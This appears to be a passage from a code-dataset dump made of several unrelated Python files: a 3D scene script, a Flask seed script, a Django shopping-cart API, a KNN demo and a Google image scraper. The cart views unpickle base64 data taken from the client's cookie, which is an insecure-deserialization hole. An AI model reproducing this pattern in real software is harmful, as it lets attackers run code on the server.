0.2},\n rotation={\"x\": 0, \"y\": 30, \"z\": 0},\n library=\"models_full.json\")\n\n self.add_object(model_name=\"bicycle_001\",\n position={\"x\": 2.7, \"y\": 0, \"z\": -1.1},\n rotation={\"x\": 0, \"y\": 34, \"z\": 0},\n library=\"models_full.json\")\n\n # Enable image capture\n self.communicate({\"$type\": \"set_pass_masks\",\n \"avatar_id\": \"avatar\",\n \"pass_masks\": [\"_img\", \"_id\"]})\n\n self.communicate({\"$type\": \"send_images\",\n \"frequency\": \"always\"})\n\n scene_data = self.communicate({\"$type\": \"look_at_position\",\n \"avatar_id\": \"avatar\",\n \"position\": TDWUtils.array_to_vector3([4, 0.3, -0.3])})\n\n images = Images(scene_data[0])\n TDWUtils.save_images(images, \"skateboard\", output_directory=\"/Users/leonard/Desktop/TDWBase-1.5.0/Python/Leonard/compare_COCO_TDW/replicated_images/interior\")\n\n def get_bounds_data(self, object_id):\n resp = self.communicate({\"$type\": \"send_bounds\",\n \"frequency\": \"once\",\n \"ids\": [object_id]})\n return Bounds(resp[0])\n\n\nif __name__ == \"__main__\":\n ProcGenInteriorDesign().run()\n","sub_path":"compare_COCO_TDW/exterior/skateboard.py","file_name":"skateboard.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"393500194","text":"from flask_script import Manager\nfrom project import app, db, Movie, Actor\n\nmanager = Manager(app)\n\n\n@manager.command\ndef deploy():\n db.drop_all()\n db.create_all()\n movie1 = Movie(title= 'Just Go With It', year=2011, genre='Comedy/Romance', description='Plot: His heart recently broken, plastic surgeon Danny Maccabee (Adam Sandler) pretends to be married so he can enjoy future dates with no strings attached. ')\n movie2 = Movie(title= 'Maleficent', year=2014, genre='Fantasy', description='Plot: As a beautiful young woman of pure heart, Maleficent (Angelina Jolie) has an idyllic life in a forest kingdom. When an invading army threatens the land, Maleficent rises up to become its fiercest protector.')\n movie3 = Movie(title= 'Mr. & Mrs. Smith', year=2005, genre='Action', description='Plot: John (Brad Pitt) and Jane Smith (Angelina Jolie), a couple in a stagnating marriage, live a deceptively mundane existence. However, each has been hiding a secret from the other: they are assassins working for adversarial agencies.')\n movie4 = Movie(title= 'Grown Ups', year=2010, genre='Comedy', description='Plot: The death of their childhood basketball coach leads to a reunion for some old friends (Adam Sandler, Kevin James, Chris Rock), who gather at the site of a championship celebration years earlier. Picking up where they left off, the buddies -- with wives and children in tow -- discover why age does not, necessarily, equal maturity.')\n movie5 = Movie(title= 'Titanic', year=1997, genre='Romance', description='Plot: James Camerons \"Titanic\" is an epic, action-packed romance set against the ill-fated maiden voyage of the R.M.S. Titanic; the pride and joy of the White Star Line and, at the time, the largest moving object ever built. She was the most luxurious liner of her era -- the \"\"ship of dreams\"\" -- which ultimately carried over 1,500 people to their death in the ice cold waters of the North Atlantic in the early hours of April 15, 1912.')\n sandler = Actor(actor_name='Adam Sandler', age=52, role='Danny Maccabee', movie = movie1)\n jolie = Actor(actor_name='Angelina Jolie', age=43, role='Maleficent', movie = movie2)\n pitt = Actor(actor_name='Brad Pitt', age=55, role='John Smith', movie = movie3)\n rock = Actor(actor_name='Chris Rock', age=52, role='Kurt McKenzie', movie = movie4)\n dicaprio = Actor(actor_name='Leonardo DiCaprio', age=44, role='Jack Dawson', movie = movie5)\n db.session.add(movie1)\n db.session.add(movie2)\n db.session.add(movie3)\n db.session.add(movie4)\n db.session.add(movie5)\n db.session.add(sandler)\n db.session.add(jolie)\n db.session.add(pitt)\n db.session.add(rock)\n db.session.add(dicaprio)\n db.session.commit()\n\n\nif __name__ == \"__main__\":\n manager.run()\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"81644543","text":"import base64\nimport pickle\n\nfrom django_redis import get_redis_connection\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom carts.serializers import CartSerializer, SKUCartSerializer, CartDeletedSerializer, CartSelectedAllSerializer\nfrom goods.models import SKU\n\n\nclass CartView(APIView):\n \"\"\"购物车增删改查\"\"\"\n def perform_authentication(self, request):\n \"\"\"用pass重写此方法 可以延后认证, 延后至第一次通过 request.user 或者request.auth 才去做认证\"\"\"\n pass\n\n def post(self, request):\n \"\"\"新增\"\"\"\n # 创建序列化器进行反序列化\n serializer = CartSerializer(data=request.data)\n\n # 调用is_valid进行校验\n serializer.is_valid(raise_exception=True)\n\n # 获取校验后的数据\n sku_id = serializer.validated_data.get('sku_id')\n count = serializer.validated_data.get('count')\n selected = serializer.validated_data.get('selected')\n\n try:\n # 第一次认证, 已登录则user为登录用户对象\n user = request.user\n # 如果未登录则捕捉异常且user = None\n except:\n user = None\n\n # 创建响应对象\n response = Response(serializer.data, status=status.HTTP_201_CREATED)\n # is_authenticated 判断是匿名用户还是 登录用户\n if user and user.is_authenticated:\n \"\"\"登录用户操作redis购物车数据\"\"\"\n \"\"\"\n hash: {'sku_id_1': 2, 'sku_id_16': 1}\n set: (sku_id_1)\n \"\"\"\n # 创建redis连接对象\n redis_conn = get_redis_connection('user_cart')\n # 创建redis管道\n pl = redis_conn.pipeline()\n\n # 添加 如果需要添加的sku_id存在于hash中, 则自动做增量计数再存储\n # 如果要添加的sku_id不在hash中, 则添加\n pl.hincrby('cart_%d' % user.id, sku_id, count)\n\n # 把勾选的商品 sku_id 存储到set集合中\n if selected: # 判断当前商品是否勾选, 如果勾选则向set集合中添加\n pl.sadd('selected_%d' % user.id, sku_id)\n\n # 执行管道\n pl.execute()\n\n else:\n \"\"\"未登录用户操作cookie购物车数据\"\"\"\n \"\"\"\n {\n 'sku_id_1': {'count': 1, 'selected': True},\n 'sku_id_16': {'count': 2, 'selected': True},\n }\n \"\"\"\n # 获取cookie购物车数据\n cart_str = request.COOKIES.get('cart')\n if cart_str: # 购物车中已有商品\n # 将字符串转换为bytes类型的字符串\n cart_str_bytes = cart_str.encode()\n\n # 将bytes类型的字符串转换为bytes类型\n cart_bytes = base64.b64decode(cart_str_bytes)\n\n # 将bytes类型转换为字典\n cart_dict = pickle.loads(cart_bytes)\n\n else:\n # cookie不存在说明购物车为空\n cart_dict = {}\n\n # 增量计数\n # 判断当前商品是否在购物车中\n if sku_id in cart_dict:\n origin_count = cart_dict[sku_id]['count']\n count += origin_count # 原始数量和新添加数量\n\n # 把新的商品添加到cart_dict字典中\n cart_dict[sku_id] = {\n 'count': count,\n 'selected': selected\n }\n\n # 用pickle将dict转bytes\n cart_bytes = pickle.dumps(cart_dict)\n\n # 用base64将bytes转bytes类型字符串\n cart_str_bytes = base64.b64encode(cart_bytes)\n\n # 将bytes类型的字符串转换为字符串\n cart_str = cart_str_bytes.decode()\n\n # 设置购物车cookie\n response.set_cookie('cart', cart_str) # 不设置过期时间则默认浏览器关闭时删除cookie\n\n # 返回响应对象\n return response\n\n def get(self, request):\n \"\"\"查询\"\"\"\n\n try:\n user = request.user\n except:\n user = None\n\n if user and user.is_authenticated:\n \"\"\"登录用户获取redis购物车数据\"\"\"\n # 创建redis连接对象\n redis_conn = get_redis_connection('user_cart')\n # 获取hash数据{sku_id_1: 1, sku_id_16: 2}\n cart_redis_dict = redis_conn.hgetall('cart_%d' % user.id)\n\n # 获取set集合数据(sku_id_1) SMEMBERS\n selecteds = redis_conn.smembers('selected_%d' % user.id)\n\n # 将redis购物车数据格式转换为和cookie购物车数据格式一致\n cart_dict = {}\n for sku_id_bytes, count_bytes in cart_redis_dict.items(): # 遍历哈希字典中的所有键值对\n cart_dict[int(sku_id_bytes)] = {\n 'count': int(count_bytes),\n 'selected': sku_id_bytes in selecteds\n }\n\n else:\n \"\"\"未登录用户获取cookie购物车数据\"\"\"\n \"\"\"\n {\n 'sku_id_1': {'count': 1, 'selected': True},\n 'sku_id_16': {'count': 1, 'selected': True},\n }\n \"\"\"\n cart_str = request.COOKIES.get('cart')\n if cart_str:\n cart_dict = pickle.loads(base64.b64decode(cart_str.encode()))\n else:\n return Response({'message': '购物车数据为空'})\n\n # 根据sku_id 查询sku模型\n sku_ids = cart_dict.keys()\n\n # 直接查询出所有的sku模型返回查询集\n skus = SKU.objects.filter(id__in=sku_ids)\n\n # 给每个sku模型多定义 count 和 selected 属性\n for sku in skus:\n sku.count = cart_dict[sku.id]['count']\n sku.selected = cart_dict[sku.id]['selected']\n\n # 创建序列化器进行序列化\n serializer = SKUCartSerializer(skus, many=True)\n\n # 响应\n return Response(serializer.data)\n\n def put(self, request):\n \"\"\"修改\"\"\"\n serializer = CartSerializer(data=request.data)\n\n serializer.is_valid(raise_exception=True)\n\n sku_id = serializer.validated_data.get('sku_id')\n count = serializer.validated_data.get('count')\n selected = serializer.validated_data.get('selected')\n\n try:\n user = request.user\n except:\n user = None\n\n response = Response(serializer.data)\n if user and user.is_authenticated:\n # 创建redis连接对象\n redis_conn = get_redis_connection('user_cart')\n\n # 创建redis管道\n pl = redis_conn.pipeline()\n\n # 覆盖sku_id 对应的count\n pl.hset('cart_%d' % user.id, sku_id, count)\n\n # 如果勾选就把勾选商品的sku_id存储到set集合\n if selected:\n pl.sadd('selected_%d' % user.id, sku_id)\n else:\n # 如果未勾选把就商品的sku_id从set集合中移除\n pl.srem('selected_%d' % user.id, sku_id)\n # 执行管道\n pl.execute()\n\n else:\n \"\"\"未登录用户修改cookie购物车数据\"\"\"\n # 获取cookie\n cart_str = request.COOKIES.get('cart')\n # 判断cookie有没有取到\n if cart_str:\n # 把cookie字符串转换成字典\n cart_dict = pickle.loads(base64.b64decode(cart_str.encode()))\n else:\n # 如果cookie没有取出,提前响应,不执行后续代码\n return Response({'message': '没有获取到cookie'}, status=status.HTTP_400_BAD_REQUEST)\n\n # 直接覆盖原cookie字典数据\n cart_dict[sku_id] = {\n 'count': count,\n 'selected': selected\n }\n # 把cookie大字典再转换字符串\n cart_str = base64.b64encode(pickle.dumps(cart_dict)).decode()\n # # 创建响应对象\n # response = Response(serializer.data)\n # 设置cookie\n response.set_cookie('cart', cart_str)\n return response\n\n def delete(self, request):\n \"\"\"删除\"\"\"\n serializer = CartDeletedSerializer(data=request.data)\n\n serializer.is_valid(raise_exception=True)\n\n sku_id = serializer.validated_data.get('sku_id')\n\n try:\n user = request.user\n except:\n user = None\n\n response = Response(status=status.HTTP_204_NO_CONTENT)\n if user and user.is_authenticated:\n redis_conn = get_redis_connection('user_cart')\n\n pl = redis_conn.pipeline()\n\n pl.hdel('cart_%d' % user.id, sku_id)\n\n pl.srem('selected_%d' % user.id, sku_id)\n\n pl.execute()\n else:\n # 获取cookie\n cart_str = request.COOKIES.get('cart')\n\n # 判断是否获取到cookie\n if cart_str:\n # 将str转换为dict\n cart_dict = pickle.loads(base64.b64decode(cart_str.encode()))\n\n else:\n return Response({'message': '无此cookie'}, status=status.HTTP_400_BAD_REQUEST)\n\n # 把要删除的sku_id从大字典中移除键值对\n if sku_id in cart_dict:\n del cart_dict[sku_id]\n\n if len(cart_dict.keys()): # 如果cookie字典中还有商品\n cart_str = (base64.b64encode(pickle.dumps(cart_dict))).decode()\n\n response.set_cookie('cart', cart_str)\n\n else: # 如果cookie字典中没有商品, 则删除cookie\n response.delete_cookie('cart')\n\n return response\n\n\nclass CartSelectedAllView(APIView):\n \"\"\"购物车���选\"\"\"\n\n def perform_authentication(self, request):\n \"\"\"通过pass重写此方法延迟认证\"\"\"\n pass\n\n def put(self, request):\n \"\"\"购物车全选\"\"\"\n serializer = CartSelectedAllSerializer(data=request.data)\n\n serializer.is_valid(raise_exception=True)\n\n selected = serializer.validated_data.get('selected')\n\n try:\n user = request.user\n except:\n user = None\n\n response = Response(serializer.data)\n if user and user.is_authenticated:\n redis_conn = get_redis_connection('user_cart')\n\n # 获取hash字典\n cart_redis_dict = redis_conn.hgetall('cart_%d' % user.id)\n # 获取keys\n sku_ids = cart_redis_dict.keys()\n # 判断selected值: True(将keys全放入set)|False(删除set中所有内容)\n if selected:\n redis_conn.sadd('selected_%d' % user.id, *sku_ids)\n else:\n redis_conn.srem('selected_%d' % user.id, *sku_ids)\n\n else:\n cart_str = request.COOKIES.get('cart')\n\n if cart_str:\n # 将字符串转换为字典\n cart_dict = pickle.loads(base64.b64decode(cart_str.encode()))\n\n else:\n return Response({'message': '无此cookie'}, status=status.HTTP_400_BAD_REQUEST)\n\n for sku_id in cart_dict:\n cart_dict[sku_id]['selected'] = selected\n\n # 再将字典转回字符串\n cart_str = (base64.b64encode(pickle.dumps(cart_dict))).decode()\n\n response.set_cookie('cart', cart_str)\n\n return response","sub_path":"meiduo_mall/meiduo_mall/apps/carts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"230269593","text":"class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:\n ans=ListNode(-1)\n ans.next=head\n cur=head\n for _ in range(n):\n cur=cur.next\n start=ans\n while cur:\n start=start.next\n cur=cur.next\n start.next=start.next.next\n return ans.next","sub_path":"19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"579098035","text":"#!/usr/bin/env python\n\n\"\"\"\nPlot bilayer areas for the ptdins project.\n\"\"\"\n\n#---autoplot settings\nplotrun.routine = None\nglobal seepspace\n\n@autoload(plotrun)\ndef loader():\n\t\"\"\"Load data.\"\"\"\n\t#---only load once\n\tif 'data' not in globals():\n\t\tdata,calc = plotload(plotname)\n\t\tsns = work.sns()\n\t\t#---autoplot exports to globals\n\t\tglobal seepspace\n\t\tseepspace = 'data,sns'.split(',')\n\t\tfor key in seepspace: globals()[key] = locals()[key]\n\n@autoplot(plotrun)\ndef make_plots():\n\t\"\"\"\n\tPlot summary and comprehensive plots.\n\t\"\"\"\n\timport ipdb;ipdb.set_trace()\n\tif False: plot_areas(out_fn='lipid_areas',lims2d=(195,210),\n\t\tsns2d=['membrane-v%3d'%i for i in [534,532,533,531,536,530,538]],\n\t\tsns3d=['membrane-v%3d'%i for i in [536,534,532,533,531,530,538]])\n\tsns_symmetric = ['membrane-v%3d'%i for i in [509,514,515,543,510,511]]\n\tsns_symmetric3d = ['membrane-v%3d'%i for i in [509,514,515,543,510,511]]\n\tplot_areas(out_fn='lipid_areas.symmetric',labels3d=True,\n\t\tsns2d=sns_symmetric,sns3d=sns_symmetric3d,lims2d=(240,265))\n\ndef plot_areas(out_fn,sns2d,sns3d,lims2d=None,labels3d=False):\n\t\"\"\"\n\tPlot 2D and 3D lipid areas.\n\t\"\"\"\n\tplotspec = ptdins_manuscript_settings()\n\tpatches = []\n\t#---include broken axes in the layout\n\taxes,fig = panelplot(figsize=(12,10),\n\t\tlayout={'out':{'grid':[1,2],'wspace':0.4},\n\t\t'ins':[{'grid':[3,1],'hratios':[10,1,4],'hspace':0.1},{'grid':[1,1]}],})\n\tsns_this = sns2d\n\t#---repeated plotting for broken axis\n\tfor dup_num,ax in enumerate(axes[0][:2]):\n\t\tfor snum,sn in enumerate(sns_this):\n\t\t\ttop_mono = work.meta[sn].get('index_top_monolayer',0)\n\t\t\tdat = data['lipid_areas2d'][sn]['data']\n\t\t\t#---! note that 2D areas should be equal between leaflets up to minor approximation errors\n\t\t\tarea2d = dat['areas%d'%top_mono].sum(axis=1).mean()\n\t\t\tarea2d_err = dat['areas%d'%top_mono].sum(axis=1).std()\n\t\t\tax.bar([snum],[area2d],width=1.0,lw=0,edgecolor='w',\n\t\t\t\tcolor=plotspec['colors'][plotspec['colors_ions'][work.meta[sn]['cation']]],\n\t\t\t\thatch=plotspec['hatches_lipids'][work.meta[sn]['ptdins_resname']])\n\t\t\tax.errorbar([snum],[area2d],yerr=[area2d_err],alpha=1.0,lw=4.0,c='k')\n\t\tif dup_num==0 and lims2d!=None: ax.set_ylim(lims2d)\n\t#---broken axis requires duplicates\n\taxdup = [axes[0][0],axes[0][1]]\n\tinterval = [i[1]-i[0] for i in [axdup[0].get_yticks()]][0]\n\tax.set_ylim(0,interval)\n\tax.set_yticks([0])\n\taxdup[0].spines['bottom'].set_linewidth(0)\n\taxdup[1].spines['top'].set_linewidth(0)\n\t#---from http://stackoverflow.com/questions/5656798/\\\n\t#---...python-matplotlib-is-there-a-way-to-make-a-discontinuous-axis\t\n\t#---size of break marks in axis coordinates\n\tbreak_pos = lambda rx,ry,d=0.008 : {\n\t\t'top_l':[(1-d*rx,1+d*rx),(-d*ry,+d*ry)],\n\t\t'bot_l':[(1-d*rx,1+d*rx),(1-d*ry,1+d*ry)],\n\t\t'top_r':[(-d*rx,d*rx),(-d*ry,+d*ry)],\n\t\t'bot_r':[(-d*rx,d*rx),(1-d*ry,1+d*ry)],}\n\tbbox = axdup[0].get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n\t#---set set the aspect here for a break in the y-direction\n\taspect = 1.0,(bbox.width/bbox.height)\n\taxspec = dict(transform=axdup[0].transAxes,color='k',clip_on=False)\n\taxdup[0].plot(*break_pos(*aspect)['top_l'],lw=2,**axspec)\n\taxdup[0].plot(*break_pos(*aspect)['top_r'],lw=2,**axspec)\n\tbbox = axdup[1].get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n\taspect = 1.0,(bbox.width/bbox.height)\n\taxspec.update(transform=axdup[1].transAxes)\n\taxdup[1].plot(*break_pos(*aspect)['bot_l'],lw=2,**axspec)\n\taxdup[1].plot(*break_pos(*aspect)['bot_r'],lw=2,**axspec)\n\tbbox = axdup[0].get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n\taxdup[0].set_xticks([])\n\taxdup[1].set_xticks([])\n\tfor ax in axdup: \n\t\tax.set_yticklabels(ax.get_yticks(),fontsize=16)\n\t\tax.tick_params(axis='y',which='both',left='off',right='off',labelleft='on')\n\taxdup[0].set_ylabel('bilayer area (2D) $\\mathrm{({nm}^{2})}$',fontsize=20)\n\t#---end broken axis modifications\n\t#---plot 3D areas\n\tax = axes[1][0]\n\tsns_this = sns3d\n\tfor snum,sn in enumerate(sns_this):\n\t\ttop_mono = work.meta[sn].get('index_top_monolayer',0)\n\t\tbot_mono = {0:1,1:0}[top_mono]\n\t\tdat = data['lipid_areas3d'][sn]['data']\n\t\ttop_area = dat['areas%d'%top_mono].sum(axis=1).mean()\n\t\tbot_area = dat['areas%d'%bot_mono].sum(axis=1).mean()\n\t\tax.bar([snum],[top_area-bot_area],bottom=[bot_area],width=1.0,lw=0,edgecolor='w',\n\t\t\tcolor=plotspec['colors'][plotspec['colors_ions'][work.meta[sn]['cation']]],\n\t\t\thatch=plotspec['hatches_lipids'][work.meta[sn]['ptdins_resname']])\n\t\tyerr_top = dat['areas%d'%top_mono].sum(axis=1).std()\n\t\tyerr_bot = dat['areas%d'%bot_mono].sum(axis=1).std()\n\t\tax.errorbar([snum],[top_area],yerr=[yerr_top],alpha=1.0,lw=4.0,c='k')\n\t\tax.errorbar([snum],[bot_area],yerr=[yerr_bot],alpha=1.0,lw=4.0,c='k')\n\t#---aesthetics\n\tax.set_xticks([])\n\tax.set_yticklabels(ax.get_yticks(),fontsize=16)\n\tax.tick_params(axis='y',which='both',left='off',right='off',labelleft='on')\n\tax.set_ylabel('leaflet areas (3D) $\\mathrm{({nm}^{2})}$',fontsize=20)\n\tax.set_xlim((-0.5-0.25,len(sns_this)+2.5))\n\t#---symmetric has bars that are too small so we add extra labels\n\tif labels3d:\n\t\ttagbox_ptdins = dict(facecolor='w',lw=1,alpha=1.0,boxstyle=\"round,pad=0.5\")\n\t\tax.set_xticks([])\n\t\tylevel = 270.0\n\t\txcenters = np.arange(len(sns3d))\n\t\tfor snum,sn in enumerate(sns3d):\n\t\t\ttop_mono = work.meta[sn].get('index_top_monolayer',0)\n\t\t\tbot_mono = {0:1,1:0}[top_mono]\n\t\t\tdat = data['lipid_areas3d'][sn]['data']\n\t\t\tbot_area = dat['areas%d'%bot_mono].sum(axis=1).mean()\n\t\t\tbot_std = dat['areas%d'%bot_mono].sum(axis=1).std()\n\t\t\ttext = '%s %s'%(work.meta[sn]['ptdins_label'],work.meta[sn]['ion_label'])\n\t\t\t#---custom offset below\n\t\t\ttb = ax.text(1.0*(xcenters[snum]),266.5,text,\n\t\t\t\tbbox=tagbox_ptdins,rotation=-90,ha=\"center\",va=\"top\",color='k',fontsize=12)\n\t\t\tpatches.append(tb)\n\t\t\t#---custom ylim\n\t\t\tax.set_ylim((265,290))\n\t\t\tax.axvline(snum,lw=1,c='k',alpha=0.5,zorder=1)\n\t#---annotations after the last bar (adapted from new charging curve plots)\n\tel = mpl.patches.Ellipse((2,-1),0.5,0.5)\n\tfor yy in range(2):\n\t\tcolor = '#bdbdbd'\n\t\tann = ax.annotate(['outer\\nleaflet','inner\\nleaflet'][yy],\n\t\t\txy=(snum+0.5,[top_area,bot_area][yy]),xycoords='data',\n\t\t\txytext=(35,0),textcoords='offset points',\n\t\t\tsize=12,va=\"center\",bbox=dict(boxstyle=\"round\",fc=color,ec=\"none\"),\n\t\t\tarrowprops=dict(arrowstyle=\"wedge,tail_width=1.\",\n\t\t\t\tfc=color,ec=\"none\",patchA=None,patchB=el,relpos=(0.2,0.5),))\n\t\tpatches.append(ann)\n\t#---fancy legend sequence (repeated in a few places)\n\tbar_formats = make_bar_formats(sns_this,work=work)\n\tcomparison_spec = dict(ptdins_names=list(set([work.meta[sn]['ptdins_resname'] for sn in sns_this])),\n\t\tion_names=list(set([work.meta[sn]['cation'] for sn in sns_this])))\n\t#---legend below\n\tkwargs = dict(bbox=(0.5,-0.1),loc='upper center',ncol=2)\n\tlegend,patches = legend_maker_stylized(axes[0][1],work=work,\n\t\tsns_this=sns_this,bar_formats=bar_formats,comparison_spec=comparison_spec,**kwargs)\n\tpatches.append(legend)\n\tfig.delaxes(axes[0][2])\n\tpicturesave('fig.%s'%out_fn,\n\t\twork.plotdir,backup=False,version=True,meta={},extras=patches)\n","sub_path":"plot-ptdins_lipid_areas.py","file_name":"plot-ptdins_lipid_areas.py","file_ext":"py","file_size_in_byte":6965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"604781409","text":"#-*- coding: utf8 -*-\nfrom numpy import *\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport operator\n\n\"\"\".................数据读取...............\"\"\"\n\n\ndef file2matrix(filename):\n fr = open(filename)\n # 得到文件的行数\n arrayoLines = fr.readlines()\n numberOfLines = len(arrayoLines)\n # 初始化矩阵\n\n returnMat = zeros((numberOfLines, 3))\n classLabelVector = []\n index = 0\n # 将数据存入矩阵\n\n for line in arrayoLines:\n line = line.strip() # 去掉所有的回车字符\n listFormLine = line.split('\\t')\n returnMat[index, :] = listFormLine[0:3]\n classLabelVector.append(listFormLine[-1]) # 将数据标签添加到矩阵\n index += 1\n\n for i in range(numberOfLines):\n if classLabelVector[i] == 'largeDoses':\n classLabelVector[i] = 1\n elif classLabelVector[i] == 'smallDoses':\n classLabelVector[i] = 2\n else:\n classLabelVector[i] = 3\n\n return returnMat, classLabelVector\n\n\n\"\"\".................数据可视化...............\"\"\"\n\n\ndef visualizeData(datingDataMat, datingLabels):\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.scatter(datingDataMat[:, 1], datingDataMat[\n :, 2], 30, array(datingLabels))\n\n plt.show()\n\n\n\"\"\".................均值归一化...............\"\"\"\n\n\ndef autoNorm(dataset):\n minVals = dataset.min(0)\n maxVals = dataset.max(0)\n ranges = maxVals - minVals\n normDataset = zeros(shape(dataset))\n m = dataset.shape[0]\n normDataset = dataset - tile(minVals, (m, 1))\n normDataset = normDataset / tile(ranges,(m,1))\n\n return normDataset, ranges, minVals\n\n\n\"\"\".................KNN算法...............\"\"\"\n\n\ndef classify0(inx, dataset, labels, k):\n dataSetSize = dataset.shape[0]\n diffMat = tile(inx, (dataSetSize, 1)) - dataset\n sqDiffMat = diffMat ** 2\n sqDistance = sqDiffMat.sum(1)\n distance = sqDistance ** 0.5\n sortedDistances = distance.argsort() # 返回排序后的索引\n classCount = {}\n\n for i in range(k):\n voteIlabel = labels[sortedDistances[i]]\n classCount[voteIlabel] = classCount.get(voteIlabel, 0) + 1\n sortedClassCount = sorted(classCount.items(),\n key=operator.itemgetter(1), reverse=True)\n\n return sortedClassCount[0][0]\n\n\n\"\"\".................算法检测...............\"\"\"\n\n\ndef datingClassTest(filename):\n hoRatio = 0.10\n k = 3\n datingDataMat, datingDataLabels = file2matrix(filename)\n normMat, ranges, minVals = autoNorm(datingDataMat)\n m = datingDataMat.shape[0]\n numTestVecs = int(hoRatio * m)\n errorCount = 0\n\n for i in range(numTestVecs):\n classifierResult = classify0(normMat[i, :], normMat[numTestVecs:m, ],\\\n datingDataLabels[numTestVecs:m], k)\n print(\"The classifier come back with: %d, the real answer is %d\"\n % (classifierResult, datingDataLabels[i]))\n if classifierResult != datingDataLabels[i]:\n errorCount += 1\n print(\"The total error rate is %f \" %(errorCount / float(numTestVecs)))\n\n\n\"\"\".................预测函数................\"\"\" \ndef classifyPerson(filename, k):\n resultList = ['not at all', 'in small doses', 'in large doses']\n percentTats = float(\n raw_input(\"percentage of time spent playing video games:\"))\n ffMiles = float(raw_input('frequent flier miles earned per year:'))\n iceCream = float(raw_input('liters of ice cream consumed per year:'))\n\n datingDataSet,datingLabels = file2matrix(filename)\n normMat,ranges,minvals = autoNorm(datingDataSet)\n inArr = array([percentTats,ffMiles,iceCream])\n classfyResult = classify0(inArr,normMat,datingLabels,k)\n print(\"You will probablely like this person: \",\\\n resultList[classfyResult - 1])\n\nclassifyPerson('datingTestSet.txt', 3)\n","sub_path":"KNN/KnnDemo.py","file_name":"KnnDemo.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"163549312","text":"# -*- coding: utf-8 -*- \nimport urllib.request, urllib.parse, urllib.error\nimport os\nimport json\nfrom bs4 import BeautifulSoup\nimport tensorflow as tf \nimport tensorflow_hub as hub\nimport numpy as np\nimport tf_sentencepiece\nimport os, re, glob\nimport shutil\nfrom numpy import argmax\nfrom keras.models import load_model\nfrom PIL import Image\nfrom scipy import spatial\n\nos.environ['CUDA_VISIBLE_DEVICES']='0'\n\nconfig=tf.ConfigProto()\nconfig.gpu_options.allow_growth=True\n#config.gpu_options.per_process_gpu_memory_fraction = 0.5 #########\nset_session = tf.Session(config=config)\n\n\n\n#---------sentence embedding module--------------\ndef USE_embedding(input_text, g, init_op, embedded_text, text_input):\n session = tf.Session(graph=g)\n session.run(init_op)\n embedded_output = session.run(embedded_text, feed_dict={text_input: input_text})\n return embedded_output\n\n\n#---------get image and caption from local cached data--------------\ndef image_caption_get(localcache_img_name, localcache_caption_name, silence):\n file_list = []\n image_list = []\n caption_list = []\n f = open(localcache_img_name,'r')\n while True:\n line = f.readline()\n if not line: break\n file_list.append((line.split('/')[-1]).splitlines()[0])\n image_list.append(line.splitlines()[0])\n f.close()\n if not silence:\n print(file_list)\n print(image_list)\n f2 = open(localcache_caption_name,'r')\n while True:\n line = f2.readline()\n if not line: break\n caption_list.append(line.splitlines()[0])\n f2.close()\n if not silence:\n print(caption_list)\n return file_list, image_list, caption_list\n\n\n#---------get image and caption from google search engine--------------\ndef image_caption_downloader(query, download_limit, silence):\n try:\n if not(os.path.isdir('downloads')):\n os.makedirs(os.path.join('downloads'))\n except OSError as e:\n if e.errno != errno.EEXIST:\n print(\"Failed to create directory!!!!!\")\n raise\n file_list= [] # only file name\n image_list = [] # path + file name \n caption_list = []\n header={\"User-Agent\":\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36\"}\n k = 1\n i = 1\n url = \"https://www.google.co.kr/search?q=\" + urllib.parse.quote(query[0]) + \"&source=lnms&tbm=isch\" \n foldername = \"./downloads\" + \"/\" + query[0] \n if not os.path.exists(foldername):\n os.mkdir(foldername)\n req = urllib.request.Request(url, headers=header)\n response = urllib.request.urlopen(req).read()\n soup = BeautifulSoup(response, \"html.parser\")\n link = [(json.loads(div.text)['ou'], json.loads(div.text)['tu'], json.loads(div.text)['pt']) for div in soup('div', 'rg_meta')]\n dict_image = {} # dictionary for caching images to scouter\n image_url_list = []\n for l in link:\n filename = \"%d.jpg\" % (i)\n file_list.append(filename)\n fullfilename = os.path.join(foldername, filename)\n image_url_list.append(l[1])\n (filename, h) = urllib.request.urlretrieve(l[1], fullfilename)\n caption_list.append(\"%s\"%(l[2]))\n image_list.append(fullfilename)\n i = i + 1\n if i > download_limit:\n break\n k = k + 1\n dict_image[query[0]] = (image_url_list, caption_list)\n return dict_image, file_list, image_list, caption_list\n\n\n#-----------VGG graph/non-graph image classifier--------------------------------\ndef VGG_classifier(file_list, image_list, caption_list, vggModel, silence):\n resized_image_list = [] \n for i in range(len(image_list)):\n resized = Image.open(image_list[i]).convert('RGB').resize((224,224))\n pix=np.array(resized) / 255\n resized_image_list.append(pix)\n categories = [\"graph\",\"others\"] # label 0 : graph image / label 1 : non-graph\n test = np.array(resized_image_list)\n if not silence:\n print(test.shape)\n predict = vggModel.predict_classes(test)\n if not silence:\n print(\"vgg predict - success\")\n for i in range(len(test)):\n if not silence:\n print(file_list[i] + \" : , Predict : \"+ str(categories[predict[i]]))\n nongraph_image_list = []\n nongraph_caption_list = []\n for i in range(len(test)):\n if predict[i] == 1:\n nongraph_image_list.append(image_list[i])\n nongraph_caption_list.append(caption_list[i])\n return nongraph_image_list, 